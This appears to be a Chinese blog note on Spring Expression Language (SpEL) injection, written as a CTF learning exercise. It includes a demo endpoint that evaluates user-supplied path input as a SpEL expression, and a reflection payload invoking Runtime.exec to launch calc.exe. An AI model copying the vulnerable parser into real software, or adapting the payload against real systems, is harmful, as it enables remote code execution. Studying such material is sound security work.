SpEL表达式注入

EL表达式

先学习一波EL表达式。

EL全名为Expression Language, 可以在JSP页面上直接使用。

格式:${表达式内容}

Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%@ page import="java.io.*,java.util.*" %>
<%
String title = "EL Example";
%>
<html>
<head>
<title><% out.print(title); %></title>
</head>
<body>
<div align="center">
<p>username: ${param["username"]}</p>
<p>query string: ${pageContext.request.queryString}</p>
<p>user-agent: ${header["user-agent"]}</p>
<p>1+1: ${1 + 1}</p>
</div>
</body>
</html>

image

作用就是在JSP页面操作变量更加灵活。

参考JSP菜鸟教程。

SpEL表达式

SpEL(Spring Expression Language),即Spring表达式语言。类似JSP的EL表达式。

作用

可以直接操作Spring管理的各种bean、变量、properties配置文件等数据。

用法

Springboot Demo:

1
2
3
4
5
6
7
8
9
10
11
@RequestMapping(value = "/testEL/{el}", method = RequestMethod.GET)
public String testEL(@PathVariable String el){
//创建ExpressionParser解析表达式
ExpressionParser parser = new SpelExpressionParser();
//SpEL表达式语法设置在parseExpression()入参内
Expression exp = parser.parseExpression(el);
//执行SpEL表达式
Object value = exp.getValue();

return value.toString();
}

image

参考https://blog.csdn.net/u010086122/article/details/81566515

从一到CTF题目学SpEL表达式注入

原文过程讲的很清楚,这里记录几个点:

  1. 调试Jar包方法:
  • java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar jar包名
  • idea -< edit configure -> + Remote -> 一切默认
  • 点击debug图标开始debug
  1. Windows下弹出计算器payload:

使用”T(Type)”来表示java.lang.Class类的实例,即如同java代码中直接写类名。

1
T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"calc.exe"})

image